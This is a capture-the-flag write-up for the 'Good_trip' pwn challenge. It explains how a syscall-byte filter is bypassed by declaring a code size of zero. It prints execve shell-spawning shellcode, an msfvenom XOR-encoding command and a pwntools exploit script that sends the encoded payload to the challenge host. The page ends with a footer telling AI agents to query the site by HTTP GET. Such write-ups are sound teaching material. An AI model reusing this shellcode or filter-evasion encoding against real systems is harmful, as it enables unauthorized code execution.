# Good\_trip (pwn)

{% file src="/files/3hNqCBhlRQrWRYsps8Ry" %}
Good trip binary
{% endfile %}

{% file src="/files/JufyNSb78lc6SziWVVXj" %}
Good trip dockerfile
{% endfile %}

Similar to the `warmup` challenge, I built an ran the Dockerfile to obtain the `libc.so.6` and `ld-linux-x86-64.so.2` binaries.

Decompiling the program, we see the following in the `main` function:

```c
undefined8 main(EVP_PKEY_CTX *param_1)
{
  char cVar1;
  int local_14;
  void *local_10;
  
  local_14 = 0;
  init(param_1);
  local_10 = mmap((void *)0x1337131369,0x1000,7,0x22,-1,0);
  printf("code size >> ");
  __isoc99_scanf(&DAT_00402027,&local_14);
  if ((-1 < local_14) && (local_14 < 4097)) {
    printf("code >> ");
    read(0,local_10,2457);
    mprotect(local_10,(long)local_14,5);
    cVar1 = filter(local_10);
    if (cVar1 != '\0') {
      puts("nop, not happening.");
                    /* WARNING: Subroutine does not return */
      exit(-1);
    }
    exec(local_10);
  }
  return 0;
}
```

The code creates a virtual memory of size `0x1000` at a fixed virtual address of `0x1337131369`. It then prompts us for the code size and accepts an integer. This input is checked to ensure that it is between 0 and 4096. We are then prompted by the code, and allowed to enter 2457 bytes. Then, `mprotect` is called to change the first `local_14` bytes of our bytecode from RWX permission to RX permission. Then, our bytecode undergoes a check using `filter`. If it is deemed as safe, then our code gets executed.

Let's see what's going on in `filter`:

```c
undefined8 filter(long param_1)
{
  int iVar1;
  undefined *local_28 [3];
  int local_10;
  int local_c;
  
  local_c = -1;
  local_28[0] = &DAT_00402010; // 0f 05 00 (syscall)
  local_28[1] = &DAT_00402013; // 0f 34 00 (sysenter)
  local_28[2] = &DAT_00402016; // cd 80 00 (int 0x80)
  do {
    local_c = local_c + 1;
    if (4093 < local_c) {
      return 0;
    }
    local_10 = -1;
    while( true ) {
      local_10 = local_10 + 1;
      if (2 < local_10) break;
      iVar1 = memcmp(local_28[local_10],(void *)(local_c + param_1),2);
      if (iVar1 == 0) {
        return 1;
      }
    }
  } while( true );
}
```

`filter` iterates through all the bytes in our bytecode to ensure that we do not have any `syscall`, `sysenter` or `int 0x80` instructions.

The key observation to make is that the number of bytes which change from RWX to RX permission depends on the size of the code we gave as our first input. If we lied that we had 0 bytes of code, then all our bytecode would retain their RWX permissions. So the solution is to enter 0 as our first input. For our second input, we can encode shellcode and add a decoding stub.

I used the following `execve` shellcode:

```nasm
    mov rsp, 0x1337131800	
    xor 	rsi,	rsi			
    push	rsi				
    mov 	rdi,	0x68732f2f6e69622f	 
    push	rdi
    push	rsp		
    pop	rdi				
    mov 	rax, 59
    xor rdx, rdx					
    syscall
```

Using Python, I saved the bytecode into `shellcode.bin`:

```python
shellcode = b"\x48\xBC\x00\x18\x13\x37\x13\x00\x00\x00\x48\x31\xF6\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\x48\xC7\xC0\x3B\x00\x00\x00\x48\x31\xD2\x0F\x05"
with open("shellcode.bin", "wb") as f:
    f.write(shellcode)
```

I then encoded this payload using the `msfvenom` x64/xor encoder using the following command: `msfvenom -a x64 --platform linux -e x64/xor -f c < shellcode.bin`

With the encoded payload, we can then make a solve script to send it. As we don't use libc for this challenge, I didn't include it in the script.

```python
from pwn import *
# fill in binary name
elf = context.binary = ELF("./good_trip")
# fill in libc name
# libc = ELF("./libc.so.6")

if args.REMOTE:
  # fill in remote address
  p = remote("172.210.129.230", 1351)
else:
  # p = elf.process(env = {"LD_PRELOAD": libc.path})
  p = elf.process()

# create exploit here
p.sendlineafter(b"size >> ", b"0")
payload = b"\x48\x31\xc9\x48\x81\xe9\xfb\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x63\xf1\xde\xe5\xa7\xa1\x9a\x8a\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x2b\x4d\xde\xfd\xb4\x96\x89\x8a\x63\xf1\x96\xd4\x51\xf7\xd2\x35\x4c\x93\xb7\x8b\x88\x8e\xe9\xe2\x34\xa5\x81\xad\x60\x61\xa1\x8a\x63\xf1\x96\xd4\x75\xae\x9f\x8a"
# pause()
p.sendlineafter(b"code >> ", payload)
p.interactive()
# AKASEC{y34h_You_C4N7_PRO73C7_5om37hIn9_YoU_doN7_h4V3}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://elijahchia.gitbook.io/ctf-blog/akasec-ctf-24/good_trip-pwn.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
